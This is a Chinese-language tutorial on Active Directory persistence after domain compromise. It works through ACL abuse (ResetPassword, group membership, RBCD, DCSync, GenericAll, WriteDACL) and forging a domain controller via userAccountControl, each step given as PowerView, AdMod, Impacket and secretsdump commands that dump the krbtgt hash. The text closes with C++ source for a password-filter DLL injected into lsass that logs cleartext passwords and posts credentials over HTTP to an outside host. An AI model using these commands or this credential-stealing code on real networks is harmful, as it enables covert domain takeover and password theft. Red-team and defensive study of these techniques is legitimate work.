ACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。所以这里说的特殊权限是指一些非常有利用价值的权限:

SCSS
GenericAll
GenericWrite
WriteOwner(修改所有者)
WriteDACL:写DACL(有一个解释是WriteDACL是在攻击链中启用其他权利的权利)
AllExtendedRights
AddMembers:将任意用户、组或计算机添加到目标组。
ForceChangePassword:强制更改密码,在不知道当前密码的情况下更改目标用户的密码。

(1)属性权限

  • member:拥有该属性的权限,可以将任意用户、组或机器加入到目标安全组中。
  • msDS-AllowedToActOnBehalfOfOtherIdentity:拥有该属性的权限,可以修改目标对象基于资源的约束性委派RBCD,进行攻击目标的权限。

(2)扩展权限

  • DCSync:拥有扩展权限,可以通过目录复制服务(Directory Replication Service,DRS)的 GetNCChanges接口向域控发起数据同步请求,从而获得域内任意用户的密码 Hash。
  • User-Force-Change-Password:拥有的该扩展权限,可以在不知道目标用户密码的情况下强制修改目标用户的密码。

(3)基本权限

  • GenericWrite:拥有该权限,可以修改目标安全对象的所有参数,包括对所有属性的修改。
  • GenericAll:拥有该权限就等于拥有了对目标安全对象的完整控制权。
  • WriteOwner:拥有该权限,可以修改目标安全对象的Owner属性为自身,从而安全控制该安全对象。
  • WriteDACL:拥有该权限,可以往目标安全对象写入任何的ACE,从而完全控制该安全对象。

参考安全客文章:https://www.anquanke.com/post/id/212163#h3-2


User-Force-Change-Password 扩展权限

如图所示是微软对于User-Force-Change-Password 属性的描述。

注意:该扩展权限一般针对域用户进行利用。

由于jack是普通域用户,因此它没有给域管理员administrator 修改密码的权限,如图所示,以用户jack身份使用Admod工具执行如下的命令重置administrator 的密码,可以看到重置失败

工具下载地址:https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools

Text Only
AdMod.exe -users -rb cn=administrator unicodepwd::12345678 -optenc

现在我们获得了域管理员的权限,并想进行权限维持,可以进行如下的操作:使用Empire下的powerview.ps1脚本执行如下的命令手动给用户jack添加对域管理员 administrator 重置密码的权限,如图所示

Text Only
Import-Module .\powerview.ps1
#添加用户jack对域管理员administrator重置密码的权限
Add-DomainObjectAcl -TaegetIdentity administrator -PrincipalIdentity jack -Rights ResetPassword -Verbose

也可以图形化添加,如图所示,打开"Active Directory 用户和计算机"→"Users"→"administrator",然后右击,选择”属性“选项,在弹出对话框的”安全“选项卡中单击"高级“→"添加”按钮,“主体”选择 jack,“类型"为”允许“,"应用于" 默认是“这个对象及全部后代”选项,“权限”勾选“重置密码”选项,最后单击“确定”→"应用“按钮即可。

赋予完成后,使用Adfind执行如下的命令查询域管理员administrator 的权限信息,如图所示,可以看到用户 jack 已经拥有对域管理员 administrator重置密码扩展的权限了。

Text Only
Adfind.exe -s base -b "CN=Administrator,CN=Users,DC=hack,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;hack\jack

现在再次以用户jack身份使用Admod工具执行如下的命令修改域管理员administrator密码,如图所示,可以看到赋予权限后,密码修改成功

Text Only
#重置域管理员administrator的密码为P@ss1234
AdMod.exe -users -rb cn=administrator unicodepwd::P@ss1234 -optenc

此后不管域内密码怎么修改,只要用户jack拥有对 administrator 重置密码的权限,就可以修改域管理员 administrator 密码,从而接管整个域。

如果想移除该重置密码的扩展权限,可以使用powershell.ps1脚本执行如下的命令,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#移除用户jack对域管理员administrator 重置密码的权限
Remove-DomainObjectAcl -TargetIdentity administrator -PrincipalIdentity jack -Rights ResetPassword -Verbose

注意:该权限重置密码不能使用命令行语句重置,会提示权限拒绝,这也是使用Admod来重置密码的原因。

member 属性权限

如图所示是微软对于member 属性的描述

由于用户 jack是普通的域用户,因此它没有往Domain Admins组中添加用户的权限,如图所示,以用户jack 权限往Domain Admins 组中添加用户,可以看到,添加用户失败。

Text Only
net group "domain admins" hack2 /add /domain

现在我们获得了域管理员的权限,并想进行权限维持,可以进行如下的操作:使用Empire下的powerview.ps1脚本执行如下的命令手动给用户jack 添加对 Domain Admins 组的WriteMembers权限,如图所示:

Text Only
Import-Module .\powerview.ps1
#添加用户jack对Domain Admins组的WriteMembers权限
Add-DomainObjectAcl -TaegetIdentity "domain admins" -PrincipalIdentity jack -Rights ResetPassword -Verbose

赋予权限后,使用Adfind执行如下的命令查询Domain Admins 组的权限信息,如图所示,可以看到用户jack已经拥有对Domian Admins组的member属性的完全控制权限。

Text Only
Adfind.exe -b "CN=Domain Admins,CN=Users,DC=hack,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;hack\jack

再次以用户jack身份往Domain Admins 组中添加用户,如图所示,可以看到赋予权限后,用户添加成功。

Text Only
net group "domain admins" hack2 /add /domain

此后不管域内密码怎么修改,只要用户jack拥有对Domain Admins 组的Write-Members权限,就可以往Domain Admins 组内添加任意的用户,从而接管整个域。

如果想移除该权限,可以使用powerview.ps1脚本执行如下的命令,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#移除用户jack对Domain Admins 组的Write-Members权限
Remove-DomainObjectAcl -TargetIdentity "domain admins" -PrincipalIdentity jack -Rights WriteMembers -Verbose

msDS-AllowedToActOnBehalfOfOtherldentity 属性权限

如图所示是微软对于msDS-AllowedToActOnBehalfOfOtherldentity 属性的描述

jack是域中的一个普通用户。现在我们获得了域管理员的权限,并想进行权限维持,可以进行如下的操作:使用Empire下的powerview.ps1脚本执行如下的命令手动给用户jack添加对域控制修改msDS-AllowedToActOnBehalfOfOtherldentity(3f78c3e5-f79a-46bd-a0b8-9d18116ddc79)属性的权限,如图所示:

Text Only
Import-Module .\powerview.ps1
#添加用户jack 对域控的msDS-AllowedToActOnBehalfOfOtherldentity属性修改权限
Add-DomainObjectAcl -TargetIdentity "CN=DC,OU=Domain Controllers,DC=hack,DC=com" -PrincipalIdentity jack -RightsGUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79 -Verbose

也可以图形化添加,如图所示,打开"Active Directory 用户和计算机"–>“Domain Controllers”,选中一个域控,然后右击,选择”属性“选项,在弹出对话框的”安全“选项卡中单击"高级“–>"添加”按钮,“主体”选择 jack,“类型"为”允许“,“应用于” 默认是“这个对象及全部后代”选项,“权限”勾选"写入msDS-AllowedToActOnBehalfOfOtherldentity"选项,最后单击“确定”–>"应用“按钮即可。

赋予权限完成后,使用Adfind执行如下的命令查询域控权限信息,如图所示,可以看到用户jack已经有了对域控的msDS-AllowedToActOnBehalfOfOtherldentity属性修改的权限。

Text Only
Adfind.exe -b "CN=DC,OU=Domain Controllers,DC=hack,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;hack\jack

现在以用户jack身份修改域控的 msDS-AllowedToActOnBehalfOfOtherldentity 属性,将其值设置为我们创建的机器用户的SID已完成基于资源的约束性委派。执行如下的命令创建机器账户 machine\(,密码为root,然后赋予机器账户machine\)到域控的基于资源的约束性委派

Text Only
add_rbcd.exe domain=hack.com dc=DC.hack.com tm=DC ma=machine mp=root

接下来需要利用机器账户machine\(来完成一次基于资源的约束性委派攻击,如图所示,执行如下的命令通过机器账户machine\)以域管理员administrator身份请求访问 cifs/DC.hack.com的票据,导入票据以后,即可远程连接域控或者导出域内任意用户的Hash了。

Text Only
#以administrator身份申请一张访问cifs/DC.hack.com的票据
python3 getST.py -dc-ip 192.168.41.10  hack.com/machine$:root -spn cifs/DC.hack.com -impersonate administrator

Text Only
#导入票据
export KRB5CCNAME=administrator.ccache

Text Only
#远程连接域控
python3 smbexec.py -no-pass -k dc.hack.com 

Text Only
#远程导出域内任意用户Hash
secretsdump.exe -no-pass -k DC.hack.com -just-dc-user ktbtgt

此后不管域内密码怎么修改,只要机器账户machine$对域控的msDS-AllowedToActOnBehalfOfOtherldentity属性修改权限,就可以利用基于资源的约束性委派攻击接管整个域了。

如果想移除该权限,可以使用powerview.ps1脚本执行如下的命令,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#移除用户jack对域控的msDS-AllowedToActOnBehalfOfOtherldentity属性修改权限
Remove-DomainObjectAcl -TargetIdentity "CN=DC,OU=Domain Controllers,DC=hack,DC=com" -PrincipalIdentity jack -RightsGUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79 -Verbose

DCSync 权限

拥有 DCSync权限的用户可以通过目录复制服务的GetNCChanges接口向域控发起数据同步请求,从而获得域内任意用户的密码Hash。拥有该权限其实就是拥有Replicating Directory Changes(1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)两个扩展属性的权限。

注意:还有Replicating Directory Changes In Filtered Set(89e95b76-444d-4c62-991a-0facbeda-640c)属性,但是很少见,仅在某些环境中需要,可以忽略。

由于用户jack是普通域用户,因此它没有权限导出域内任意用户的Hash,如图所示

Text Only
secretsdump.exe hack/jack:Admin123@192.168.41.10 -just-dc-user krbtgt

使用powerview.ps1脚本执行如下的命令手动给用户jack添加对域hack.com的DCSync权限,如图所示:

Text Only
Import-Module .\powerview.ps1
#添加用户jack对域内对象hack.com的DCSync权限
Add-DomainObjectAcl -TargetIdentity "DC=hack,DC=com" -PrincipalIdentity jack -Rights DCSync -Verbose

赋予权限完成后,使用Adfind执行如下的命令查询域内具有DCSync权限的用户,如图所示,可以看到用户jack已经拥有了对域对象hack.com的DCSync权限了。

Text Only
Adfind.exe -b "DC=hack,DC=com" nTSecurityDescriptor -sddl+++ -sdddlfilter ;;;"Replicating Directory Changes";;hack\jack -recmute

再次以用户jack身份导出域内任意用户的Hash,如图所示,可以看到赋予权限后,导出用户hash成功

Text Only
secretsdump.exe hack/jack:Admin123@192.168.41.10 -just-dc-user krbtgt

此后不管域内密码怎么修改,只要用户jack拥有DCSync权限,都可导出域管理员的Hash,从而接管整个域。

如果想移除该权限,可以使用powerview.ps1脚本执行如下的命令,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#移除用户jack对域内对象hack.com的DCSync权限
Remove-DomainObjectAcl -TargetIdentity "DC=hack,DC=com" -PrincipalIdentity jack -Rights DCSync -Verbose

GenericAll 权限 应用于 域用户

GenericAll 权限就是完全控制权,拥有了这个权限,就拥有了对目标安全对象的完整控制权。接下来我们来看看对于域内用户、机器账户、组和域的GenericaAll权限。

先来看看GenericaAll权限应用于域用户进行权限维持。 由于用户jack 是普通的域用户,因此它没有给域管理员administrator修改密码的权限,如图所示,以用户hack身份修改administrator的密码,可以看到密码修改失败。

Text Only
net user administrator P@ss1234 /domain

现在我们获得了域管理员的权限,并且想进行权限维持,可以进行如下的操作:使用powerview.ps1脚本执行如下的命令手动给hack添加对域管理员的administrator的GenericaAll权限,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#添加用户hack对域管理员administrator的GenericaAll权限
Add-DomainObjectAcl -TargetIdentity administrator -PrincipalIdentity hack -Rights All -Verbose

添加完成后,执行如下的命令查询对域管理员administrator具有GenericaAll权限的对象,如图所示,可以看到hack用户对administrator的GenericaAll权限了。

Text Only
Import-Module .\powerview.ps1
#查询用户hack对域管理员administrator的GenericaAll权限
Get-ObjectAcl -SamAccountName administrator -ResolveGUIDs | ? {$_.ActiveDirectoryRigts -eq "GenericAll"}

再次以用户hack身份修改域管理员的administrator密码

此后不管域内密码怎么修改,只要用户hack拥有对administrator的GenericaAll权限,就可以修改域管理员的administrator的密码,从而接管整个域。

如果想移除该权限,可以使用powerview.ps1脚本执行如下的命令,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#移除用户hack对域管理员administrator的GenericaAll权限
Remove-DomainObjectAcl -TargetIdentity administrator -PrincipalIdentity hack -Rights All -Verbose

GenericAll 权限 应用于 机器用户

再来看看GenericAll 权限 应用于 机器用户如何进行权限维持。这需要结合基于资源的委派RBCD攻击来进行权限维持。

hack是域中的一个普通用户。现在我们获得了域管理员的权限,并想进行权限维持,可以进行如下的操作:使用powerview.ps1脚本执行如下的命令手动给用户hack添加对域控的GenericAll 权限,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#添加用户hack对域控的GenericAll 权限
Add-DomainObjectAcl -TargetIdentity DC -PrincipalIdentity hack -Rights All -Verbose

添加完成后,执行如下的命令查询对域控具有GenericAll 权限的对象,结果如图所示,可以看到用户hack已经对域控拥有GenericAll 权限了

Text Only
Import-Module .\powerview.ps1
#查询对域控具有GenericAll 权限的对象
Get-ObjectAcl -SamAccountName DC -ResolveGUIDs | ? {$_.ActiveDirectoryRigts -eq "GenericAll"}

接着以用户hack身份修改域控的msDS-AllowedToActOnBehalfOfOtherldentity属性,将其设置为创建的机器账户SID已完成基于资源的约束性委派赋予。执行如下的命令创建机器账户 machine\(,密码为root,然后赋予机器账户machine\)到域控的基于资源的约束性委派

Text Only
add_rbcd.exe domain=hack.com dc=DC.hack.com tm=DC ma=machine mp=root

下面利用机器账户 machine\(完成一次基于资源的约束性委派攻击。 如图所示,执行如下的命令通过机器账户machine\)以域管理员administrator身份请求访问cifs/DC.hack.com的票据,导入票据后,即可远程连接域控或者导出域内任意用户的Hash了。

Text Only
#以administrator身份申请一张访问cifs/DC.hack.com的票据
python3 getST.py -dc-ip 192.168.41.10  hack.com/machine$:root -spn cifs/DC.hack.com -impersonate administrator
Text Only
#导入票据
export KRB5CCNAME=administrator.ccache
Text Only
#远程连接域控
python3 smbexec.py -no-pass -k dc.hack.com 

Text Only
#远程导出域内任意用户Hash
secretsdump.exe -no-pass -k DC.hack.com -just-dc-user ktbtgt

此后不管域内密码怎么修改,只要用户hack拥有GenericAll 权限,就可以修改域控的msDS-AllowedToActOnBehalfOfOtherldentity属性,从而接管进行约束性委派攻击接管整个域。

如果想移除该权限,可以使用powerview.ps1执行如下的命令,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#移除用户hack对域控的GenericAll 权限
Remove-DomainObjectAcl -TargetIdentity DC -PrincipalIdentity hack -Rights All -Verbose

GenericAll 权限 应用于组

再来看看GenericAll 权限 应用于组如何进行权限维持。

由于用户hack是普通的域用户,因此他没有往Domain Admins 组添加用户的权限,如图所示,以用户hack 身份往Domain Admins 组中添加用户,可以看到,添加用户失败。

现在我们获得了域管理员的权限并想进行权限维持,可以进行如下的操作:使用powerview.ps1脚本执行如下的命令手动给用户hack添加对Domain Admins组的GenericAll 权限,如图所示:

Text Only
Import-Module .\powerview.ps1
#添加用户hack对Domain Admins组的GenericAll 权限
Add-DomainObjectAcl -TargetIdentity "domain admins" -PrincipalIdentity hack -Rights All -Verbose

添加完成后,执行如下的命令查询对Domain Admins 组具有GenericAll 权限的对象,如图所示,可以看到用户jack已经对Domain Admins组拥有GenericAll 权限了。

Text Only
Import-Module .\powerview.ps1
#查询对Domain Admins组具有的GenericAll 权限
Get-ObjectAcl -SamAccountName "domain admins" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

再次以用户hack身份往Domain Admins 组中添加用户,如图所示,可以看到赋予权限后,用户添加成功。

此后不管域内密码怎么修改,只要用户hack拥有对Domian Admins组的GenericAll 权限,就可以往Domian Admins组内添加任意用户、移除用户、从而接管整个域。

如果想移除该权限,可以使用powerview.ps1脚本执行如下的命令,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#移除用户hack对Domain Admins的GenericAll 权限
Remove-DomainObjectAcl -TargetIdentity "domain admins" -PrincipalIdentity hack -Rights All -Verbose

GenericAll 权限 应用于域

我们再来看看GenericAll 权限 应用于 域对象如何进行权限维持。

现在我们获得了域管理员的权限并想进行权限维持,可以进行如下的操作:使用powerview.ps1脚本执行如下的命令手动给用户hack添加对域对象hack.com的GenericAll 权限。

Text Only
Import-Module .\powerview.ps1
#添加用户hack对域对象的hack.com的GenericAll 权限
Add-DomainObjectAcl -TargetIdentity "DC=hack,DC=com" -PrincipalIdentity hack -Rights All -Verbose

添加完成后,执行如下的命令查询对域对象 hack.com 具有GenericAll 权限的对象,如图所示,可以看到用户hack已经对域对象 hack.com 拥有GenericAll 权限了。

Text Only
Import-Module .\powerview.ps1
#查询对域对象的hack.com具有GenericAll 权限的对象
Get-ObjectAcl -SamAccountName "DC=hack,DC=com" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

现在普通域用户hack已经对域对象hack.com拥有完全控制权限了。于是可以给任意的用户赋予DCSync权限,使之远程导出域用户哈希,如图所示,以用户hack身份使用powerview.ps1脚本执行如下的命令添加手动给用户hack添加对域的hack.com的DCSync权限。

Text Only
Import-Module .\powerview.ps1
#添加用户hack对域对象hack.com的DCSync权限
Add-DomainObjectAcl -TargetIdentity "DC=hack,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose

最后以用户hack身份执行如下的命令导出用户krbtgt的Hash,如图所示,可以看到赋予权限后,用户Hash导出成功。

Text Only
secretsdump.exe hack/hack:Admin123@192.168.41.10 -just-dc-user krbtgt 

此后不管域内密码怎么修改,只要用户hack拥有对域hack.com的GenericAll 权限,就可以给任意用户赋予DCSync权限,从而接管整个域。

如果想移除该权限,可以使用powerview.ps1脚本执行如下的命令,结果如图所示:

Text Only
Import-Module .\powerview.ps1
#移除用户hack对域对象hack.com的DCSync权限
Remove-DomainObjectAcl -TargetIdentity "DC=hack,DC=com" -PrincipalIdentity hack -Rights All -Verbose

GenericAll 权限就是对目标对象的完整控制权,因此可以转换对某些可以利用的属性的修改权,再结合这些可以利用的属性的功能进行利用。

GenericWrite 权限

GenericWrite的权限是可以修改目标安全对象的所有属性,如member,msDS-AllowedToActOnBehalfOfOtherIdentity等属性的功能进行权限维持,这里不再赘述。 需要注意的是,GenericWrite 权限不能赋予User-Force-Change-Password和DCSync等扩展权限。

WriteDACL权限

WriteDACL的权限是可以修改目标对象的DACL,拥有了这个权限就可以往指定安全对象写入任何的ACE,从而完全控制该安全对象。这里以域对象hack.com为列。

hack是域中的一个普通用户。现在我们获得了域管理员的权限,并想进行权限维持,可以进行如下的操作:打开"Active Directory 用户和计算机",找到域hack.com,然后右击,选择"属性"选项,在弹出对话框的“安全”选项卡中单击“高级”→"添加“按钮,弹出对话框如图所示,”主体“选择hack,”类型“为允许,"应用于“ 默认为”这个对象及全部后代“,权限勾选“修改权限”选项,最后单击“确定”→"应用”按钮即可。

赋予完成后,使用Adfind执行如下的命令查询对域hack.com的权限信息,结果如图所示,可以看到用户hack已经对域hack.com有修改的DACL权限了

Text Only
Adfind.exe -b DC=hack,DC=com -sc getacl -sddlfilter ;;;;hack\hack

以用户hack身份使用powerview.ps1脚本执行如下的命令添加手动给用户hack添加对域的hack.com的DCSync权限,结果如图所示

Text Only
Import-Module .\powerview.ps1
#添加用户hack对域对象hack.com的DCSync权限
Add-DomainObjectAcl -TargetIdentity "DC=hack,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose

赋予完成后使用Adfind执行如下的命令进行查询,如图所示,可以看到用户hack已经对域hack.com具有DCSync权限了。

Text Only
Adfind.exe -b DC=hack,DC=com -sc getacl -sddlfilter ;;;;hack\hack

最后以用户hack身份执行如下的命令到处用户的krbtgt的Hash,如图所示,可以看到赋予权限后,用户Hash导出成功。

Text Only
secretsdump.exe hack/hack:Admin123@192.168.41.10 -just-dc-user krbtgt 

此后,不管域内密码怎么修改,只要用户hack拥有对域hack.com的WriteDACL权限,就可以给任意用户赋予DCSync权限,从而接管整个域。

WriteOwner 权限

WriteOwner的权限是可以修改目标对象的Owner属性,该权限可以修改指定安全对象的Owner属性为任意用户。而Owner默认拥有WriteDACL等权限,因此就可以利用WriteDACL的利用方式,这里不再赘述。

从上面的列子可以看出,针对域用户进行权限维持,比较好用的User-Force-Change-Password扩展权限;针对域组进行权限维持,比较好用的是修改member属性的权限;针对机器账户进行权限维持,比较好用的是修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限;针对于域对象进行权限维持,比较好用的是DCSync权限。

以上是针对不同对象进行权限维持的最小权限。而比如拥有Generic Write 权限可以修改所有的属性,因此针对域组和机器用户进行权限维持,也可以使用Generic Write 权限。而拥有WriteDACL、WriteOwner权限和GenericAll权限就可以完全控制目标对象,因此针对任何对象进行权限维持,也可以使用这3个权限。

但是,虽然不同权限可能达到一样的效果,但是步骤不同。比如针对域对象进行权限维持,直接赋予DCSync权限即可。但是如果赋予WriteDACL权限,还得手动新增对域具有DCSync权限的ACE到域对象上,操作起来比较麻烦。在实战中,我们尽可能简单的进行权限维持。

伪造域控

2022年1月10日,国外安全研究员Kaido发文称发现了一种新的伪造域控方式,安全研究员只需要新建一个机器账户,然后修改机器账户的UserAccountControl属性为8192。活动目录就会认为这个机器账户就是域控,然后就可以使用这个新建的机器账户进行DCSync操作了。由于修改机器账户的UserAccountControl属性需要域内高权限,因此这种方式可以用来进行域权限维持。

这种权限维持方式与DCShadow类似,都是在域内伪造域控。只不过DCShadow是通过往域内添加恶意对象,而此种方式是通过DSCync功能导出域内任意用户的Hash。

漏洞原理

为什么把机器账户的UserAccountControl属性修改为8192,活动目录就会认为这个机器账户是域控呢?首先,我们来看一下UserAccountControl属性。通过官方文档可以清楚的看到UserAccountControl属性可能得值,如图所示:

当该值为8192时,对应的SERVER_TRUST_ACCOUNT属性标志对应的含义,如图所示,可以看到微软对该属性标志位的解释是作为域中的一个成员域控的计算机账户。

因此,把机器账户的UserAccountControl属性修改为8192后,活动目录就会认为这个机器账户是域控

伪造域控攻击

实验环境如下:

  • 域控:Windows Server 2012 R2
  • 域控主机名:DC
  • 域控IP:192.168.41.10
  • 域管理员:hack\administrator
  • 域普通用户:hack\jack

首先使用addcomputer.py脚本执行如下的命令创建一个普通的机器账户machine$,密码为root,如图所示:

PowerShell
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 192.168.41.10 'hack.com/jack:Admin123' -method SAMR -debug

然后修改该机器账户的UserAccountControl属性。默认情况下,只有域管理员和企业管理员等高权限用户有权限修改机器账户的UserAccountControl属性。

使用域管理员权限通过Powershell执行如下的命令修改机器账户的machine$的UserAccountControl属性为8192

PowerShell
$ADComputer = Get-ADComputer -Identity machine
Set-ADObject -Identity $ADComputer -Replace @{userAccountControl=8192}

此时,活动目录就会认为机器账户machine\(是域控,如图所示,通过查询Domain Controllers组可以看到machine\)机器账户就在其中

Text Only
net group "domain controllers" /domain

现在就可以利用机器账户machine$通过DCSync导出域内任意用户的Hash了。

如图所示,可以看到修改userAccountControl属性后,机器账户machine$ 可以通过DCSync导出域内任意用户的Hash了。

PowerShell
secretsdump.exe "hack/machine$:root"@192.168.41.10 -just-dc-user krbtgt

伪造域控攻击防御

对于防守方或蓝队来说,如何针对伪造域控攻击进行防御呢?

  • 及时修复域内漏洞,更新最新补丁,让攻击者无法获得域管理员权限或Exchange邮箱服务器权限,自然也就无法修改机器账户的userAccountControl属性。
  • 定期检查userAccountControl属性为8192的机器账户。

Hook PasswordChangeNotify

何为PasswordChangeNotify

PasswordChangeNotify是windows提供的一个API。 具体参数返回值参照官方文档:https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nc-ntsecapi-psam_password_notification_routine 当域控密码被修改时,LSA首先调用PasswordFileter函数,该函数作用为检测新密码是否满足复杂度。如果符合则调用PasswordChangeNotify在系统上同步更新密码。

HOOK PasswordChangeNotify

具体实现思路如下:

  1. 为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。
  2. 在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。
  3. 将生成的dll注入到lssas进程中。 使用HOOK PasswordChangeNotify无需重启域控系统或修改注册表,更加隐蔽且贴合实际。

技术复现

前人栽树,后人乘凉。

项目地址:https://github.com/clymb3r/Misc-Windows-Hacking

下载后将sln文件打开,右键解决方案,将MFC的使用设置为在静态库中使用MFC编译工程,然后F7编译。

dll生成成功之后就需要将dll注入,这里估摸着自己写一个远线程注入也可以,同样可以使用powershell脚本进行注入。

https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

使用该将HookPasswordChange.dll注入内存

Set-ExecutionPolicy bypass Import-Module .\Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

执行后若无报错信息则说明注入成功。注意dll位数。

当更改密码后,能够抓取到更改后的密码,账户和明文密码储存在C:\Windows\Temp\passwords.txt。

当然存储文件位置和类型可以自定义,只需更改HookPasswordChange.cpp文件。

如果觉得仍然不方便,希望直接将密码上传到服务器,可以使用http协议发送。

C++
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>

void writeToLog(const char* szString)
{
    FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    if (NULL == pFile)
    {
        return;
    }
    fprintf(pFile, "%s\r\n", szString);
    fclose(pFile);
    return;
}



// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    OutputDebugString(L"DllMain");
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

BOOLEAN __stdcall InitializeChangeNotify(void)
{
    OutputDebugString(L"InitializeChangeNotify");
    writeToLog("InitializeChangeNotify()");
    return TRUE;
}

BOOLEAN __stdcall PasswordFilter(
    PUNICODE_STRING AccountName,
    PUNICODE_STRING FullName,
    PUNICODE_STRING Password,
    BOOLEAN SetOperation )
{
    OutputDebugString(L"PasswordFilter");
    return TRUE;
}

NTSTATUS __stdcall PasswordChangeNotify(
    PUNICODE_STRING UserName,
    ULONG RelativeId,
    PUNICODE_STRING NewPassword )
{
  FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
  //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
    HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0);
    char* pBuf="SomeData";



    OutputDebugString(L"PasswordChangeNotify");
    if (NULL == pFile)
    {
        return;
    }
    fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer);
    fclose(pFile);
    InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2);
    InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2);
    HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));

    return 0;
}